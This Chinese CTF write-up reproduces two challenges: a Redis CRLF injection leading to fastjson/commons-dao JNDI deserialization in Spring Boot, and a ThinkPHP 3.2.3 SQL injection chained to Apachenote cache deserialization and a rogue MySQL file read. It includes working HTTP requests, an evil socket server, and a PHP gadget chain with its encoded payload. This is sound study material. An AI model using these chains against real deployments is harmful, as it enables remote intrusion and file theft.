2023中华武数杯复现
Aerocraft
题目信息
给了附件,就是一个springboot项目,直接idea打开即可。
看下比较关键的几个依赖。
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-redis</artifactId>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
<dependency>
<groupId>com.epam.reportportal</groupId>
<artifactId>commons-dao</artifactId>
<version>5.0.0</version>
</dependency>
</dependencies>
利用思路
- redis命令注入,往redis数据库里写入反序列化payload
- 使用/getOneCache路由,触发RedisUtils#getValue,进而触发反序列化payload
redis命令注入(题目自带)
下面这条语句,是Java通过Socket来调用redis服务器时的特殊写法,具体含义参考这篇文章。
String sendInfo = "*2\r\n$4\r\nauth\r\n$" + passlength + "\r\n" + password.replace("\r\n", "") + "\r\n";
代码漏洞在于, 把传入的password里的"\r\n"替换为空,可以双写"\r\r\n\n"绕过,执行redis命令。
用burpsuite的hex功能双写一下,查看是否可以命令注入。
显然成功执行命令,这说明我们可以操作redis数据库,存储键值对。
redis组件存在fastjson反序列化点
首先,redis组件取缓存的值的时候,会调用fastjson对其进行反序列化。
ValueOperations#get(key)底层会调用JSON#ParseObject(value),函数调用栈如下
deserialize:35, GenericFastJsonRedisSerializer
deserializeValue:360, AbstractOperations
doInRedis:62, AbstractOperations$ValueDeserializingRedisCallback
execute:223, RedisTemplate
execute:190, RedisTemplate
execute:97, AbstractOperations
get:54, DefaultValueOperations
getValue:51, RedisUtils
因为redis命令注入,value可控,显然我们得到了fastjson反序列化的入口点。
fastjson1.2.83 springboot+commons-dao组件利用链
fastjson 1.2.83版本其实是很难利用的,我的了解只到fastjson 1.2.68,太菜了(
题目在RedisConfig里,设置了value反序列化时,指定使用的serializer。
里边开了AutoTypeSupport,方便了我们的利用,我们只需要去绕黑名单了。
这题用的是HikariCP组件的POC,不过它在1.2.60的时候被添加到黑名单里了,没法直接用。
<dependency>
<groupId>com.zaxxer</groupId>
<artifactId>HikariCP</artifactId>
<version>3.3.1</version>
</dependency>
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"JNDI_SERVER"}
但是,commons-dao这个组件的DataSourceConfig继承了HikariConfig类。
注意:commons-dao依赖于springboot环境。
到这利用链结束,这链子我在网上没搜到分析文章,挺nb的,不知道是用分析工具还是自己挖的。
{
"@type": "com.epam.ta.reportportal.config.DataSourceConfig",
"metricRegistry": "rmi://localhost:1099/remoteObj"
}
Exp
本地
注意这里不可见字符,在Hex里把"\r\n"改成"\r\r\n\n"了,,redis密码是我本地的。
POST /api/redisAuth HTTP/1.1
Host: localhost:8080
Content-Length: 139
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="118", "Microsoft Edge";v="118", "Not=A?Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.76
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://localhost:8080/api/redisAuth
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Phpstorm-f79a9377=3e21da47-6d71-4d02-936d-b41422544fc2; XDEBUG_SESSION=PHPSTORM; session=s%3Ab-zkSipBU9ntmSQMmLnoRSpf4OuPTwMm.wkyjoWNGK5raO7Ias8qPMTQger%2B44biLNN6rVX1fXnE; _xsrf=2|8d5d03db|5dce8dd7be3dfc12d296d32f3c1a067f|1698055194; username-localhost-8888="2|1:0|10:1698055412|23:username-localhost-8888|44:MTE5MTg2NzY3NTcwNGYyZWIwNmExZjc2ZTk3ZjFjNjM=|30c0e0c88eac61a872a523f86792f627187795a72b9be9a9c5fd1670fcbb7a8c"
sec-fetch-user: ?1
Connection: close
password=root
set 123 '{"@type": "com.epam.ta.reportportal.config.DataSourceConfig","metricRegistry": "rmi://localhost:1099/remoteObj"}'
这里访问对应路由,触发反序列化。
POST /api/getOneCache HTTP/1.1
Host: localhost:8080
Content-Length: 6
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="118", "Microsoft Edge";v="118", "Not=A?Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.76
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://localhost:8080/api/getOneCache
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Phpstorm-f79a9377=3e21da47-6d71-4d02-936d-b41422544fc2; XDEBUG_SESSION=PHPSTORM; session=s%3Ab-zkSipBU9ntmSQMmLnoRSpf4OuPTwMm.wkyjoWNGK5raO7Ias8qPMTQger%2B44biLNN6rVX1fXnE; _xsrf=2|8d5d03db|5dce8dd7be3dfc12d296d32f3c1a067f|1698055194; username-localhost-8888="2|1:0|10:1698055412|23:username-localhost-8888|44:MTE5MTg2NzY3NTcwNGYyZWIwNmExZjc2ZTk3ZjFjNjM=|30c0e0c88eac61a872a523f86792f627187795a72b9be9a9c5fd1670fcbb7a8c"
Connection: close
id=123
远程
环境有问题, 远程打不通,docker环境有点问题。
小结
- redis命令注入
- redis组件存在反序列化点
- commons-dao存在jndi注入点
tp
题目信息
核心就只有一个index路由,index方法用的I()方法,存在过滤,但是page方法没有,可以用过find注入。
解题思路
SQL注入控制查询缓存
首先,page方法存在一个find型的sql注入,这里通过mi1k7ea师傅的总结可以试出来。
find方法传的参数可以是数组,如果cache存在,会尝试利用S()方法去查询缓存里找数据
S()方法会根据$options的设定,先创建一个指定类型的cache实例,然后再调它的get方法,这里很重要
ThinkPHP支持的缓存类型有很多,默认的是FILE类型。
Apachenote缓存存在反序列化点
我们通过sql注入,是可以指定查询缓存的类型的,而Apachenote.classs.php这个缓存有反序列化点。
上一节提到,S()方法最后是会调用某个指定的cache示例的get方法的。
Apachenote.classs.php#get,会去指定的服务器上读data,然后反序列化data。
跟一下open方法,看看它默认访问哪个服务器,发现是由this->options[]里面的host和port来确定的
而this->options[]是可以在实例化时,通过传递$options数组控制的,上一节我们提到S()方法会先实例化cache
到这里,我们就可以本地起一个evil server,里面写好反序列化payload,然后发sql注入payload到服务器,让服务器来连我们的evil server,读取反序列化payload,触发反序列化。
TP反序列化链+Mysql服务端伪造读文件
本质上,ThinkPHP3.2.3有一条反序列化链,可以让服务器发送Mysql请求,然后结合Mysql服务端伪造,
可以实现任意文件读取漏洞。
Exp
- 用python起个server,用来给服务器连,然后给服务器发送发序列化数据,触发反序列化
- 用php起个roguemysql的server,用来伪造Mysql服务端读文件
- 发送sql注入payload,触发整个链条
import socket
import threading
import base64
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 29999))
s.listen(3)
def exploit(sock, addr):
print('Accept new connection from %s:%s...' % addr)
sock.recv(1024)
exp = "YToyOntpOjA7TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjQxOiJteXNxbC51c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsdXNlcigpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjk6InRoaW5rcGhwMyI7czo4OiJob3N0bmFtZSI7czo5OiIxMjcuMC4wLjEiO3M6ODoiaG9zdHBvcnQiO3M6NDoiMzMwNyI7czo3OiJjaGFyc2V0IjtzOjQ6InV0ZjgiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czowOiIiO319fX19aTowO2k6MDt9"
sock.send(bytes(base64.b64decode(exp)))
sock.close()
print('Connection from %s:%s closed.' % addr)
while True:
sock, addr = s.accept()
t = threading.Thread(target=exploit, args=(sock, addr))
t.start()
注意下面反序列化exp的构造,使用了Fast-Destruct的trick,提前触发_destruct,不然会Fatal Error。
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "thinkphp3",
"hostname" => "127.0.0.1",
"hostport" => "3307",
"charset" => "utf8",
"username" => "root",
"password" => ""
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,user(),1)#",
"where" => "1=1"
);
}
}
}
namespace {
// Fast-Destruct方式去提前触发destruct
$exp = serialize(new Think\Image\Driver\Imagick());
$exp = "a:2:{i:0;" . $exp . "i:0;i:0;}";
echo base64_encode($exp);
}
//YToyOntpOjA7TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjQxOiJteXNxbC51c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsdXNlcigpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjk6InRoaW5rcGhwMyI7czo4OiJob3N0bmFtZSI7czo5OiIxMjcuMC4wLjEiO3M6ODoiaG9zdHBvcnQiO3M6NDoiMzMwNiI7czo3OiJjaGFyc2V0IjtzOjQ6InV0ZjgiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czowOiIiO319fX19aTowO2k6MDt9
index.php?s=Home/Index/page&cid[where]=1&cid[cache]=jasper&cid[cache][key]=jasper&cid[cache][type]=Apachenote&cid[cache][host]=127.0.0.1&cid[cache][port]=29999&cid[cache][timeout]=1000
小结
由sql注入,到反序列化,再到mysql服务端伪造读文件,还学到了Fast-Destruct这个trick,很综合的一道题。
参考链接
tp3.2.3 反序列化+SQL注入利用@j1ang
CTF复现计划@Lxxx
ThinkPHP3.2.3 SQL注入点总结@mi1k7ea
tp3.2.3官方手册
Rogue-MySql-Server